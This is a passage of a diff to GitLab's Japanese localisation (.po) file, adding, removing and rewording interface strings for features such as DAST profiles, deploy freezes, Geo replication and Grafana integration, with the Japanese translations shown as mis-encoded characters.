-msgstr ""
-
msgid "Create new label"
msgstr "ラベルã®æ–°è¦ä½œæˆ"
@@ -8606,6 +8868,9 @@ msgstr "è¦æ±‚事項を作æˆ"
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8759,6 +9024,9 @@ msgstr ""
msgid "Created"
msgstr "作æˆæ¸ˆã¿"
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -8822,6 +9090,9 @@ msgstr "エピックを作æˆã—ã¦ã„ã¾ã™"
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr "グラフを作æˆã™ã‚‹ã«ã¯ã€Prometheusサーãƒãƒ¼ã‹ã‚‰ã®ãƒ‡ãƒ¼ã‚¿ã‚’使用ã—ã¾ã™ã€‚ã“ã‚Œã«æ™‚é–“ãŒã‹ã‹ã‚‹å ´åˆã¯ã€ãƒ‡ãƒ¼ã‚¿ãŒåˆ©ç”¨ã§ãã‚‹ã‹ã©ã†ã‹ã‚’確èªã—ã¦ãã ã•ã„。"
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr "作æˆæ—¥æ™‚"
@@ -9123,8 +9394,9 @@ msgstr "ラベルをé¸æŠž"
msgid "CycleAnalytics|Show"
msgstr "表示"
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr "%{subjectFilterText} 㨠%{selectedLabelsCount} ラベルを表示"
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr "'%{groupName}' グループ㨠%{selectedProjectCount} プロジェクト㮠%{startDate} ã‹ã‚‰ %{endDate} ã¾ã§ã®ãƒ‡ãƒ¼ã‚¿ã‚’表示"
@@ -9219,6 +9491,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9288,6 +9563,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9348,6 +9629,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9381,6 +9665,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9411,12 +9698,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9493,6 +9792,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9523,6 +9825,9 @@ msgstr "日付範囲㯠%{maxDateRange} 日を超ãˆã‚‰ã‚Œã¾ã›ã‚“。"
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -9934,13 +10239,19 @@ msgstr "デプロイ先..."
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10051,9 +10362,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr "失効"
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr "%{b_start}%{name}%{b_end} を失効ã•ã›ã¾ã™ã‹ï¼Ÿ"
-
msgid "DeployTokens|Revoke %{name}"
msgstr "%{name} ã‚’å–り消ã™"
@@ -10081,9 +10389,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr "ユーザーå"
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr " %{b_start}%{name}%{b_end}を失効ã—よã†ã¨ã—ã¦ã„ã¾ã™ã€‚"
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10196,9 +10501,6 @@ msgstr "説明:"
msgid "Descriptive label"
msgstr "説明ラベル"
-msgid "Deselect all"
-msgstr "é¸æŠžã‚’ã™ã¹ã¦è§£é™¤"
-
msgid "Design Management files and data"
msgstr "デザインマãƒã‚¸ãƒ¡ãƒ³ãƒˆãƒ•ã‚¡ã‚¤ãƒ«ã¨ãƒ‡ãƒ¼ã‚¿"
@@ -10358,13 +10660,13 @@ msgstr "詳細 (デフォルト)"
msgid "Detect host keys"
msgstr "ホストキーã®æ¤œå‡º"
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10379,7 +10681,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10632,6 +10934,9 @@ msgstr "マージリクエストã®æ˜‡æ ¼ã‚’å´ä¸‹ã—ã¾ã™"
msgid "Dismiss Value Stream Analytics introduction box"
msgstr "ãƒãƒªãƒ¥ãƒ¼ã‚¹ãƒˆãƒªãƒ¼ãƒ åˆ†æžã®ç´¹ä»‹ã‚’é–‰ã˜ã‚‹"
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10875,6 +11180,9 @@ msgstr "アプリケーションã®ç·¨é›†"
msgid "Edit comment"
msgstr "コメントを編集"
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr "説明を編集"
@@ -10887,6 +11195,9 @@ msgstr "エディターã§ãƒ•ã‚¡ã‚¤ãƒ«ã‚’編集ã—ã€ã“ã“ã§å¤‰æ›´ã‚’コミッ
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr "グループを編集:%{group_name}"
@@ -11106,6 +11417,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr "Auto DevOps を有効ã«ã™ã‚‹"
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11130,6 +11444,9 @@ msgstr "PlantUML を有効化"
msgid "Enable Pseudonymizer data collection"
msgstr "匿å化データã®åŽé›†ã‚’有効ã«ã—ã¾ã™"
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11142,6 +11459,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr "指定グループã®ãƒ‘フォーマンスãƒãƒ¼ã¸ã®ã‚¢ã‚¯ã‚»ã‚¹ã‚’有効ã«ã™ã‚‹ã€‚"
@@ -11154,6 +11474,9 @@ msgstr "Prometheus ã®ãƒ¡ãƒˆãƒªã‚¯ã‚¹ã‚’有効ã«ã—ã¦è¨­å®šã™ã‚‹ã€‚"
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr "外部サービスを使用ã—ã¦ã€åˆ†é¡žåˆ¶å¾¡ã‚’有効ã«ã™ã‚‹ã€‚"
@@ -11265,6 +11588,9 @@ msgstr "有効"
msgid "Enabled Git access protocols"
msgstr "有効ãªGitアクセスプロトコル"
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr "プロジェクト作æˆä¸­ã®ã‚³ãƒ¼ãƒ‰ã‚¤ãƒ³ãƒãƒ¼ãƒˆã«æœ‰åŠ¹ãªã‚½ãƒ¼ã‚¹ã€‚ OmniAuth 㯠GitHub 用ã«è¨­å®šã™ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™"
@@ -11334,9 +11660,6 @@ msgstr "ã‚ãªãŸã® Phabricator サーãƒãƒ¼ã®URLã¨ãƒ‘ーソナルアクセã‚
msgid "Enter merge request URLs"
msgstr "マージリクエストã®URLを入力"
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr "æ–°ã—ã„AWSシークレットアクセスキーを入力ã—ã¾ã™"
@@ -11964,20 +12287,20 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr "アクティブ"
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
-msgstr "ã‚ãªãŸãŒèªè¨¼ãƒˆãƒ¼ã‚¯ãƒ³ã‚’追加ã—ãŸå¾Œã«ã€æŽ¥ç¶š ボタンを使用ã—ã¦ãƒ—ロジェクトを読ã¿è¾¼ã¿ã¾ã™"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
+msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr "èªè¨¼ãƒˆãƒ¼ã‚¯ãƒ³"
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
-msgstr "'接続' をクリックã—㦠Sentry ã¸ã®æŽ¥ç¶šã‚’å†ç¢ºç«‹ã—ã€ãƒ‰ãƒ­ãƒƒãƒ—ダウンを有効ã«ã—ã¾ã™"
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
+msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
-msgstr "接続ã«å¤±æ•—ã—ã¾ã—ãŸã€‚èªè¨¼ãƒˆãƒ¼ã‚¯ãƒ³ã‚’å†ç¢ºèªã—ã¦ã€ã‚„ã‚Šç›´ã—ã¦ãã ã•ã„。"
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
+msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
-msgstr "Sentry をセルフホストã™ã‚‹å ´åˆã¯ã€ã‚ãªãŸã® Sentry インスタンスã®å®Œå…¨ãªURLを入力ã—ã¾ã™ã€‚ Sentry ã®ãƒ›ã‚¹ãƒˆåž‹ã‚½ãƒªãƒ¥ãƒ¼ã‚·ãƒ§ãƒ³ã‚’使用ã—ã¦ã„ã‚‹å ´åˆã¯ã€ https://sentry.io ã¨å…¥åŠ›ã—ã¾ã™ã€‚"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
+msgstr ""
msgid "ErrorTracking|No projects available"
msgstr "利用ã§ãるプロジェクトã¯ã‚ã‚Šã¾ã›ã‚“"
@@ -11985,8 +12308,8 @@ msgstr "利用ã§ãるプロジェクトã¯ã‚ã‚Šã¾ã›ã‚“"
msgid "ErrorTracking|Select project"
msgstr "プロジェクトã®é¸æŠž"
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
-msgstr "プロジェクトã®é¸æŠžã‚’有効ã«ã™ã‚‹ã«ã¯ã€æœ‰åŠ¹ãªèªè¨¼ãƒˆãƒ¼ã‚¯ãƒ³ã‚’入力ã—ã¦ãã ã•ã„"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
+msgstr ""
msgid "Errors"
msgstr "エラー"
@@ -12096,9 +12419,6 @@ msgstr ""
msgid "Evidence collection"
msgstr "証拠集ã‚"
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12165,6 +12485,9 @@ msgstr ""
msgid "Expand milestones"
msgstr "マイルストーンを展開"
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr "サイドãƒãƒ¼ã‚’é–‹ã"
@@ -12234,6 +12557,9 @@ msgstr "公開グループを検索"
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12246,12 +12572,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr "イシューをエクスãƒãƒ¼ãƒˆ"
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr "プロジェクトã®ã‚¨ã‚¯ã‚¹ãƒãƒ¼ãƒˆ"
@@ -12279,9 +12599,6 @@ msgstr "外部ID"
msgid "External URL"
msgstr "外部 URL"
-msgid "External Wiki"
-msgstr "外部 Wiki"
-
msgid "External authentication"
msgstr "外部èªè¨¼"
@@ -12303,14 +12620,17 @@ msgstr "分類ラベル"
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr "ラベルãŒåˆ†é¡žã•ã‚Œã¦ã„ãªã„ã¨ãã¯ã€`%{default_label}` ãŒæ—¢å®šã®ãƒ©ãƒ™ãƒ«ã¨ã—ã¦ä½¿ç”¨ã•ã‚Œã¾ã™ã€‚"
-msgid "ExternalWikiService|External Wiki"
-msgstr "外部Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
+msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr "内部ã®wikiã¸ã®ãƒªãƒ³ã‚¯ã‚’外部ã®wikiã¸ã®ãƒªãƒ³ã‚¯ã«ç½®ãæ›ãˆã¾ã™ã€‚"
-msgid "ExternalWikiService|The URL of the external Wiki"
-msgstr "外部Wikiã®URL"
+msgid "ExternalWikiService|The URL of the external wiki"
+msgstr ""
msgid "Facebook"
msgstr "Facebook"
@@ -12408,6 +12728,9 @@ msgstr "ref ã‚’å–å¾—ã§ãã¾ã›ã‚“ã§ã—ãŸ"
msgid "Failed to install."
msgstr "インストールã«å¤±æ•—ã—ã¾ã—ãŸã€‚"
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr "担当者ã®ãƒ­ãƒ¼ãƒ‰ã«å¤±æ•—ã—ã¾ã—ãŸã€‚ã‚‚ã†ä¸€åº¦ã‚„ã‚Šç›´ã—ã¦ãã ã•ã„。"
@@ -12435,9 +12758,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr "マイルストーンã®èª­ã¿è¾¼ã¿ã«å¤±æ•—ã—ã¾ã—ãŸã€‚ã‚‚ã†ä¸€åº¦ã‚„ã‚Šç›´ã—ã¦ãã ã•ã„。"
@@ -12486,9 +12815,6 @@ msgstr "Zoom ミーティングã®å‰Šé™¤ã«å¤±æ•—ã—ã¾ã—ãŸ"
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr "ボードã®ã‚¤ã‚·ãƒ¥ãƒ¼ã®å‰Šé™¤ã«å¤±æ•—ã—ã¾ã—ãŸã€‚ã‚„ã‚Šç›´ã—ã¦ãã ã•ã„。"
-
msgid "Failed to remove mirror."
msgstr "ミラーã®å‰Šé™¤ã«å¤±æ•—ã—ã¾ã—ãŸã€‚"
@@ -12543,9 +12869,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr "イシューã®ã‚¹ãƒ†ãƒ¼ã‚¿ã‚¹ã®æ›´æ–°ã«å¤±æ•—ã—ã¾ã—ãŸ"
-msgid "Failed to update issues, please try again."
-msgstr "イシューã®æ›´æ–°ã«å¤±æ•—ã—ã¾ã—ãŸã€‚ã‚‚ã†ä¸€åº¦ã‚„ã‚Šç›´ã—ã¦ãã ã•ã„。"
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -12928,10 +13251,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr "ã‚ãªãŸãŒæœ€è¿‘é–‰ã˜ãŸ %{issuable_type} ã§ãƒ•ã‚£ãƒ«ã‚¿ãƒ¼"
-msgid "Filter by %{issuable_type} that are currently opened."
-msgstr "ã‚ãªãŸãŒæœ€è¿‘é–‹ã„㟠%{issuable_type} ã§ãƒ•ã‚£ãƒ«ã‚¿ãƒ¼"
+msgid "Filter by %{issuable_type} that are currently open."
+msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -12964,7 +13287,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13066,6 +13389,9 @@ msgstr "Flowdock Gitソーストークン"
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr "Flowdockã¯ã€æŠ€è¡“ãƒãƒ¼ãƒ ç”¨ã®ã‚³ãƒ©ãƒœãƒ¬ãƒ¼ã‚·ãƒ§ãƒ³Webアプリã§ã™ã€‚"
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr "FogBugz メール"
@@ -13114,12 +13440,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr "詳細ã«ã¤ã„ã¦ã¯ã€ãƒ‰ã‚­ãƒ¥ãƒ¡ãƒ³ãƒˆã‚’読んã§ãã ã•ã„。"
@@ -13129,9 +13458,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr "詳細ã«ã¤ã„ã¦ã¯ã€ %{link_start_tag}aeger'sã®æ§‹æˆãƒ‰ã‚­ãƒ¥ãƒ¡ãƒ³ãƒˆ%{link_end_tag} ã‚’å‚ç…§ã—ã¦ãã ã•ã„。"
-
msgid "For more information, see the File Hooks documentation."
msgstr "詳ã—ã„情報ã¯ã€ãƒ•ã‚¡ã‚¤ãƒ«ãƒ•ãƒƒã‚¯ã®æ–‡æ›¸ã‚’ã”覧ãã ã•ã„"
@@ -13156,6 +13482,9 @@ msgstr "プロジェクトをフォーク"
msgid "Fork project?"
msgstr "プロジェクトをフォーク?"
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13165,6 +13494,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13180,6 +13512,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13198,9 +13533,6 @@ msgstr "フォーク元"
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr "アクセスã§ããªã„プロジェクトã‹ã‚‰ã®ãƒ•ã‚©ãƒ¼ã‚¯"
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr "フォーク中ã§ã™"
@@ -13462,6 +13794,9 @@ msgstr "%{name} ã¯å†åŒæœŸãŒäºˆå®šã•ã‚Œã¦ã„ã¾ã™"
msgid "Geo|%{name} is scheduled for re-verify"
msgstr "%{name} ã¯å†æ¤œè¨¼ãŒäºˆå®šã•ã‚Œã¦ã„ã¾ã™"
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13504,9 +13839,15 @@ msgstr "既存ã®ãƒ—ロジェクトã®ãƒˆãƒ©ãƒƒã‚­ãƒ³ã‚°ã‚¨ãƒ³ãƒˆãƒªã‚’削除ã§
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr "既存ã®ã‚¢ãƒƒãƒ—ロードã®ãƒˆãƒ©ãƒƒã‚­ãƒ³ã‚°ã‚¨ãƒ³ãƒˆãƒªã‚’削除ã§ãã¾ã›ã‚“ã§ã—ãŸã€‚"
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr "失敗"
@@ -13531,6 +13872,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr "åŒæœŸ"
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr "最後ã®ãƒªãƒã‚¸ãƒˆãƒªãƒã‚§ãƒƒã‚¯ã‚’実行"
@@ -13564,6 +13914,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr "ã¾ã åŒæœŸã—ã¦ã„ã¾ã›ã‚“。"
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr "åŒæœŸã®ãƒšãƒ³ãƒ‡ã‚£ãƒ³ã‚°"
@@ -13591,6 +13947,9 @@ msgstr "特定グループã®ãƒ—ロジェクト"
msgid "Geo|Projects in certain storage shards"
msgstr "特定ストレージシャード内ã®ãƒ—ロジェクト"
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr "å†ãƒ€ã‚¦ãƒ³ãƒ­ãƒ¼ãƒ‰"
@@ -13603,6 +13962,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr "å†åŒæœŸ"
@@ -13630,6 +14013,9 @@ msgstr ""
msgid "Geo|Status"
msgstr "状態"
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr "åŒæœŸæ¸ˆã¿"
@@ -13642,6 +14028,9 @@ msgstr "åŒæœŸã«å¤±æ•—ã—ã¾ã—㟠- %{error}"
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr "データベースã¯ç¾åœ¨ãƒ—ライマリーノードã®å¾Œã‚ã« %{db_lag} ã§ã™ã€‚"
@@ -13675,6 +14064,9 @@ msgstr "ä¸æ˜ŽãªçŠ¶æ…‹"
msgid "Geo|Verification failed - %{error}"
msgstr "åŒæœŸã«å¤±æ•—ã—ã¾ã—㟠- %{error}"
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr "スケジューラ待ã¡"
@@ -13720,6 +14112,9 @@ msgstr "リリースã®é–‹å§‹"
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr "ã“ã®GitLabサーãƒãƒ¼ã¯Git LFSãŒç„¡åŠ¹ã«ãªã£ã¦ã„ã¾ã™ã€‚管ç†è€…ã«é€£çµ¡ã—ã¦ãã ã•ã„。"
@@ -13849,6 +14244,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr "GitLab 㯠%{jaeger_link} を使ã£ã¦åˆ†æ•£ã‚·ã‚¹ãƒ†ãƒ ã‚’モニタリングã—ã¾ã™ã€‚"
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr "Gitlabã¯ã€ã‚ãªãŸãŒè¨­å®šã—ãŸã‚ªãƒ–ジェクトストレージディレクトリã«ã‚¢ãƒƒãƒ—ロードã™ã‚‹ Gitlabデータベースã®åŒ¿å化ã—ãŸCSVを生æˆã™ã‚‹ã‚¸ãƒ§ãƒ–ã‚’ãƒãƒƒã‚¯ã‚°ãƒ©ã‚¦ãƒ³ãƒ‰ã§å®Ÿè¡Œã—ã¾ã™ã€‚"
@@ -13972,6 +14373,24 @@ msgstr "Gitea ホスト㮠URL"
msgid "Gitea Import"
msgstr "Gitea インãƒãƒ¼ãƒˆ"
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr "Gitlab Pages"
@@ -14014,9 +14433,6 @@ msgstr "å‰ã«æˆ»ã‚‹"
msgid "Go back (while searching for files)"
msgstr "戻る(ファイルã®æ¤œç´¢ä¸­)"
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr "全画é¢è¡¨ç¤º"
@@ -14146,17 +14562,14 @@ msgstr "Grafana ã® URL"
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
-msgstr "APIトークン"
+msgid "GrafanaIntegration|API token"
+msgstr ""
msgid "GrafanaIntegration|Active"
msgstr "アクティブ"
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr "GitLabã®ã‚¤ã‚·ãƒ¥ãƒ¼ã«Grafanaãƒãƒ£ãƒ¼ãƒˆã‚’埋ã‚è¾¼ã¿ã¾ã™ã€‚"
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
-msgstr "Grafana API トークンを入力。"
+msgid "GrafanaIntegration|Enter the Grafana API token."
+msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
msgstr "Grafana インスタンスã®ãƒ™ãƒ¼ã‚¹ URL を入力ã—ã¾ã™ã€‚"
@@ -14167,6 +14580,9 @@ msgstr "Grafana URL"
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr "アクセス許å¯"
@@ -14224,6 +14640,12 @@ msgstr "グループ URL"
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr "グループアãƒã‚¿ãƒ¼"
@@ -14305,9 +14727,6 @@ msgstr "グループã®ãƒ‘イプライン時間ãŒæ­£å¸¸ã«ãƒªã‚»ãƒƒãƒˆã•ã‚Œã¾
